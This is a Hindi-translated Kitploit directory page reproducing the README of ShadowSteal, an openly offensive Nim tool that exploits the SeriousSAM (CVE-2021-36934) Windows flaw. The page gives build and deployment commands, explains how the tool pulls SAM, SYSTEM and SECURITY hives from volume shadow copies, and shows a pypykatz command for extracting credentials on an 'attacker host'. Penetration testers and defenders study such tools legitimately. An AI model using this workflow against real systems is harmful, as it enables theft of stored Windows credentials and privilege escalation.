Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ShadowSteal — CVE-2021-36934, SeriousSAM स्थानीय विशेषाधिकार वृद्धि, के शोषण के लिए Pure Nim कार्यान्वयन | Kitploit
उपकरण/GitHubGitHub/huskyhacks/shadowsteal
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubhuskyhacks/shadowsteal

ShadowSteal

CVE-2021-36934, SeriousSAM स्थानीय विशेषाधिकार वृद्धि, के शोषण के लिए Pure Nim कार्यान्वयन

रिपॉजिटरी देखें
2103724 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ShadowSteal | CVE-2021-36934

CVE-2021-36934 के शोषण के लिए शुद्ध Nim कार्यान्वयन, SeriousSAM स्थानीय विशेषाधिकार वृद्धि (LPE)। OPSEC सुरक्षित नहीं है.... अभी तक ;)। मैं इस शोषण की खोज का श्रेय नहीं लेता हूं।

त्वरित आरंभ

डॉकर के साथ बनाएँ

डॉकर की बदौलत ShadowSteal के साथ शुरुआत करना अब पहले से कहीं अधिक आसान है! Nim निर्भरताएँ स्थापित करने से परेशान नहीं होना चाहते? मैं आपको संभाल लूंगा, दोस्त! Docker बिल्ड वातावरण बनाने, बाइनरी संकलित करने, इसे वापस आपके होस्ट पर स्थानांतरित करने और फिर कंटेनर को मारने के लिए Python स्क्रिप्ट चलाएँ।

अपने होस्ट पर Docker स्थापित करें (विभिन्न OS के लिए स्थापित करने के तरीके के लिए दस्तावेज़ देखें), फिर मुख्य निर्देशिका में ShadowSteal Python स्क्रिप्ट चलाएँ:

root@kitploit:~
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
root@kitploit:~
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l

स्रोत से निर्माण करें

या, Nim और इसकी निर्भरताएँ स्थापित करके स्रोत से निर्माण करें:

root@kitploit:~
$ sudo apt-get install nim
root@kitploit:~
$ nimble install zippy argparse winim

यदि MinGW टूल चेन पहले से स्थापित नहीं है तो इसे स्थापित करें।

root@kitploit:~
$ sudo apt-get install mingw-w64
root@kitploit:~
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
root@kitploit:~
$ make && cd bin/ && ls -l

लक्ष्य पर स्थानांतरित करें...

root@kitploit:~
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h

सारांश

Microsoft द्वारा कुछ निगरानी के कारण, हाल के Windows बिल्ड में सामान्य उपयोगकर्ताओं के पास ...\System32\config\ फ़ोल्डर की सामग्री पर पढ़ने की अनुमतियाँ हैं। अन्य बातों के अलावा, इसका मतलब है कि एक निम्न-स्तरीय उपयोगकर्ता के पास ...\System32\config में SAM, System और Security फ़ाइलों तक पढ़ने की पहुँच है।

1.png

उफ्फ। तो हम इसके साथ क्या कर सकते हैं?

कुछ बहुत ही चौकस शोधकर्ताओं (शाउट आउट @jonasLyk!) ने देखा कि यदि किसी Windows होस्ट ने एक विशिष्ट सिस्टम रिस्टोर कॉन्फ़िगरेशन, "वॉल्यूम शैडो कॉपीज़" का उपयोग किया है, तो होस्ट इन फ़ाइलों की बैकअप प्रतियाँ संग्रहीत करता है जो इन प्रतियों के लिए Win32 डिवाइस नेमस्पेस के माध्यम से सुलभ होती हैं।

2.png

3.png

SAM सामान्यतः होस्ट के संचालन के दौरान लॉक रहता है, इसलिए ...\System32\config\ में SAM तक पहुँचना सवाल से बाहर है। लेकिन ये शैडो वॉल्यूम प्रतियाँ इस गलत कॉन्फ़िगरेशन के कारण होस्ट पर किसी भी उपयोगकर्ता के लिए उपलब्ध हैं। बहुत अच्छा!

ShadowSteal

ShadowSteal एक Nim में लिखा गया बाइनरी है जो इन शैडो प्रतियों से SAM, System और Security फ़ाइलों की गणना और बहिर्वाह को स्वचालित करता है। यह शैडो प्रतियों के संभावित स्थानों के माध्यम से पुनरावृत्ति करता है और जब इसे कोई लक्ष्य मिल जाता है, तो यह फ़ाइलों को एक ज़िप्ड निर्देशिका में निकालता है (Bloodhound आउटपुट के बारे में सोचें)।

4.png

विशेषताएँ:

  • Triage और Bruteforce मोड, पूरी या त्वरित गणना के लिए।
  • लक्ष्य क्रेडेंशियल्स का स्वचालित निष्कर्षण और रोलअप।
  • Jeff Beezy मोड। (रुको, क्या?)
  • आसान संकलन के लिए एकीकृत Docker बिल्ड वातावरण!
  • सभी उपलब्ध HarddiskShadowCopy स्थानों की गणना करेगा, गतिशील रूप से उच्चतम संख्या चुनेगा, और शोषण/निष्कर्षण के लिए उन्हें लक्षित करेगा।

6.png

यह कुछ अर्थ-शैटरिंग नहीं है और कोड हैकी है, लेकिन यह काम करता है और यह एक मजेदार बिल्ड था!

स्रोत से स्थापित करना

Nim स्थापित करें:

root@kitploit:~
$ sudo apt-get install nim

निर्भरताएँ स्थापित करें:

root@kitploit:~
$ nimble install zippy argparse winim

यदि MinGW टूल चेन पहले से स्थापित नहीं है तो इसे स्थापित करें:

root@kitploit:~
$ sudo apt-get install mingw-w64

64-बिट Windows के लिए संकलित करें:

root@kitploit:~
$ make

लक्ष्य पर स्थानांतरित करें और इसे चलाएँ!

उपयोग

root@kitploit:~
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.

Usage:
   [options]

Options:
  -h, --help
  -t, --triage               [*] Triage mode. Quick enumeration, tries to find quick wins.
  -bf, --bruteforce          [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
  -b, --bezos                [?] Jeff Bezos Mode

Triage मोड

स्थान bruteforce को 10 से 1 तक सीमित करता है, प्रत्येक प्रयास के साथ घटता है। अधिकांश वातावरणों में तेज़ और प्रभावी।

root@kitploit:~
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t

Bruteforce मोड

सभी संभावित स्थानों (512) की खोज करता है, घटते हुए 1 तक। पर्यावरण को अच्छी तरह से गणना करने के लिए इसे आज़माएँ। कुछ मिनट लगते हैं।

root@kitploit:~
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf

आउटपुट पार्स करना

आउटपुट निर्देशिका को वापस अपने हमलावर होस्ट पर स्थानांतरित करें और Pypykatz के साथ डेटा को उकेरें। स्थापित करने के लिए:

root@kitploit:~
$ pip3 install pypykatz

Pypykatz चलाने के लिए:

root@kitploit:~
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

5.png

रिलीज़ इतिहास

v.04.01 | डॉक्टास्टिक अपडेट

अब इसमें एक आसान प्री-पैकेज्ड Docker बिल्ड वातावरण है! बस Docker वातावरण सेट करने, बाइनरी को संकलित करने, इसे वापस अपने होस्ट पर स्थानांतरित करने और बिल्ड कंटेनरों को समाप्त करने के लिए ShadowSteal.py स्क्रिप्ट चलाएँ। यह बस काम करता है! (कुछ असेंबली की आवश्यकता है, अर्थात इसे चलाने के लिए आपको Docker की आवश्यकता है)।

v.03.69 | N I C E अपडेट

दुबला और मीन. अनुकूलित संकलन विकल्प जोड़े गए। कंपाइलर ऑप्टिमाइज़ेशन के कारण भारी प्रदर्शन वृद्धि, पूर्ण bruteforce अब लगभग तुरंत होता है। छद्म PR के लिए @orbitalgun को बहुत धन्यवाद, आपके घर और नाम की महिमा हो!

v.02 जेफ बीज़ी अपडेट

  • Bruteforce और Triage मोड
  • एक बेहतर खोज एल्गोरिदम
  • कोड सफाई
  • Jeff Beezy Mode
  • पहली रिलीज़ से बहुत सारे सबक सीखे!

v.01 लॉन्चपैड रिलीज़

अंदर आ जाओ दोस्तों, यह ट्रेनव्रेक चल रहा है। यह रिलीज़ मेरा त्वरित प्रोटोटाइप था और यह बहुत भयानक था lol. फिर भी बनाने में बहुत मज़ा आया! विशेषताएँ:

  • "काम करता हुआ" कोड

संदर्भ

  • इस CVE का मूल खुलासा @jonasLyk द्वारा।
  • CVE Reference page
  • गीत श्रेय: बो बर्नहम द्वारा Bezos I. सर्वाधिकार सुरक्षित।

अस्वीकरण

  • केवल कानूनी, नैतिक उपयोग के लिए।

7.png

टूल डाउनलोड करें